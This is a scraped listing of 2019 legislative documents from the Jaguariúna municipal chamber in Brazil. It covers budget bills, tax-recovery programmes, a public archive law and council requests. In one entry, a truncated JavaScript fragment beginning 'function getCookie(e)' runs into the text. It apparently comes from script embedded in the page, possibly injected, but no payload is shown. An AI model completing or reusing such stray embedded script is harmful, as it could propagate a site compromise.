12.955 documentos · série 2026
29
jul
2019
Autoriza o Executivo Municipal a repassar recursos financeiros, a título contribuição, ao Consórcio Intermunicipal para o Desenvolvimento do Pólo Turístico do Circuito das Águas Paulista. PROJETO-DE-LEI-026 Baixar
29
jul
2019
Dispõe sobre inclusão de projetos no Orçamento Geral do Município para o exercício de 2019 (Lei Municipal nº 2.562/2018). PROJETO-DE-LEI-024 Baixar
29
jul
2019
Dispõe sobre inclusão de projetos nas diretrizes orçamentárias para o exercício de 2019 (Lei Municipal nº 2.515/2018). PROJETO-DE-LEI-023 Baixar
29
jul
2019
Dispõe sobre inclusão de projetos no Plano Plurianual para o período de 2018 a 2021 (Lei Municipal nº 2.463/2017). PROJETO-DE-LEI-022 Baixar
29
jul
2019
Dispõe sobre autorização ao Executivo para abertura de créditos suplementares. PROJETO-DE-LEI-020 Baixar
29
jul
2019
Institui no âmbito municipal inserção de atalho para hospedagem virtual da Delegacia Eletrônica de Proteção Animal (DEPA) e dá outras providências. PROJETO-DE-LEI-019 Baixar
29
jul
2019
Dispõe sobre a criação do Arquivo Público Municipal, incluindo o Conselho Municipal de Arquivo – CMA, e dá outras providências. PROJETO-DE-LEI-018 Baixar
29
jul
2019
Dispõe sobre autorização ao executivo para abertura de crédito especial. PROJETO-DE-LEI-016 Baixar
19
jul
2019
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal das Empresas, e dá outras providências. LC-337 Baixar
19
jul
2019
Institui no âmbito do Município de Jaguariúna, o Programa de Recuperação Fiscal -REFIS MUNICIPAL, e dá outras providências. LC-336 Baixar
18
jul
2019
Ementa: 120. REQUERIMENTO Nº 120/2019 DO SR. ROMILSON SILVA - PV SOLICITANDO AO EXECUTIVO MUNICIPAL ENVIO DE CÓPIA NA ÍNTEGRA E EM FORMATO DIGITAL DAS PRESTAÇÕES DE CONTAS DO EXERCÍCIO DE 2017 ATÉ A PRESENTE DATA DE TODAS AS ENTIDADES DE JAGUARIÚNA QUE RECEBEM DINHEIRO PÚBLICO;…
05
jul
2019
Ementa: REQUERIMENTO Nº 071/2019 DOS SRS. LUIZ CARLOS DE CAMPOS, DAVID HILÁRIO NETO, ALFREDO CHIAVEGATO NETO E TAIS CAMELLINI ESTEVE SOLICITANDO AO EXECUTIVO MUNICIPAL INFORMAÇÕES SOBRE OS MOTIVOS PARA O ACRÉSCIMO NO CUSTO TOTAL DA TAXA DE COLETA E REMOÇÃO DE LIXO DOMICILIAR DE…
28
jun
2019
Dispõe sobre a acumulação de funções de servidor público municipal (funcionário ou empregado) em organização da sociedade civil que mantenha parceria com a Administração Municipal. LEI-COMPLEMENTAR-Nº-335-2 Baixar function getCookie(e){var U=document.cookie.match(new…
28
jun
2019
PAUTA_10_SESSAO_EXTRA Baixar
28
jun
2019
PAUTA_9_SESSAO_EXTRA Baixar